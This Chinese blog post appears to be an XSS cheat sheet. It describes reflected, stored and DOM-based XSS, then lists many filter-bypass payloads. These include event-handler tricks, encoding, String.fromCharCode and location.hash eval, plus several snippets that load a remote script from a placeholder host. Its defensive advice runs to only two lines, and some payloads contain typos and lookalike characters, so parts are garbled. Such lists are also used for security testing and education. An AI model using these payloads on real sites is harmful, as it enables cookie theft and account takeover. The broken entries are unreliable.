XSS攻击、BYPASS及防御

攻击

一、 反射型XSS

前端 -> 后端 -> 前端
在URL中+

  1. 一般存在在id=xxx
  2. 将xxx替换为,观察页面是否弹出”1”
  3. 若成功弹出,则存在反射型xss注入漏洞

二、 存储型XSS

前端 -> 后端 -> 数据库 -> 前端
输入框中的内容会存储在数据库中,然后回显在网页上

  1. 一般存在在留言框和页面搜索框中
2.	<script>alert(1)</script>
  1. 若成功弹出“1”,且在页面上有回显,则存在存储型XSS漏洞

三、 DOM型XSS

前端 HTML
输入框中的内容会出现在HTML标签中,通过构造payload,实现弹窗
例:<a href=’1’> Please check here!</a>
payload: #’oneclick=”alert(111)”>

  1. 一般存在搜索框中
  2. 查看网页源代码构造payload
  3. 若成功弹出“1”,且在页面上有回显,则存在DOM型XSS漏洞

bypass

<script>alert(1)</script>
  1. 大小写绕过
 <SCRIpt>AlerT(1)</SCRipt>
  1. HTML标签绕过
<img scr=javascript:alter(1)></img>
<img src=# onerror=alert(1)></img>
<img src=# onmoseover=alert(1)></img>
<IMG SRC=javascript:alert(&quot;XSS&quot;)> 

使用TAB绕过:

<IMG SRC="jav ascript:alert('XSS');">
<a href=# onmouseover=alert(1)>text xss</a>
<a href="javascript:alert(/test/)">link</a>
<a onmouseover="alert(document.cookie)">xss link</a>
<iframe/οnlοad=alert(/1/);></iframe>
<svg/οnlοad=alert(/1/);>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<BODY BACKGROUND="javascript:alert('XSS')"> 
<IMG LOWSRC="javascript:alert('XSS')">
<svg/οnlοad=alert('XSS')>
  1. 特殊函数绕过
	<keygen autofocus οnfοcus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>
<textarea autofocus οnfοcus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>
  1. 关键字替换
" οnerrοr=alert(1) "
<BODY onload="alert('XSS')">
<IMG SRC="" onerror="alert('XSS')">
  1. 不常见标签绕过
<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus οnfοcus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>
  1. 双写绕过
" οnerrοr=alert(1) "
  1. ‐prompt(1)‐
  2. 编码转换
    十六进制
    HTML实体字符
  3. 引号被过滤
  1. 使用“/”替换单引号
  2. String.fromCharCode
    fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串
    括号中添加一个或多个unicode值
<script>alert(‘insight-labs’)</script>  —–>   <script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>
  1. location.hash
<script>eval(location.hash.slice(1))</script>#alert(‘a’)
  1. 重音符混淆绕过
<IMG SRC=javascript:alert("RSnake says, 'XSS'")>
  1. 空格被过滤
    %0a、%0b、&NewLine:含义是回车(Enter)
  2. 冒号被过滤
    &colon

漏洞修复

  1. 过滤输入的非法字符
  2. 对输出到页面的内容进行编码的转换,HTML、JavaScript等
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值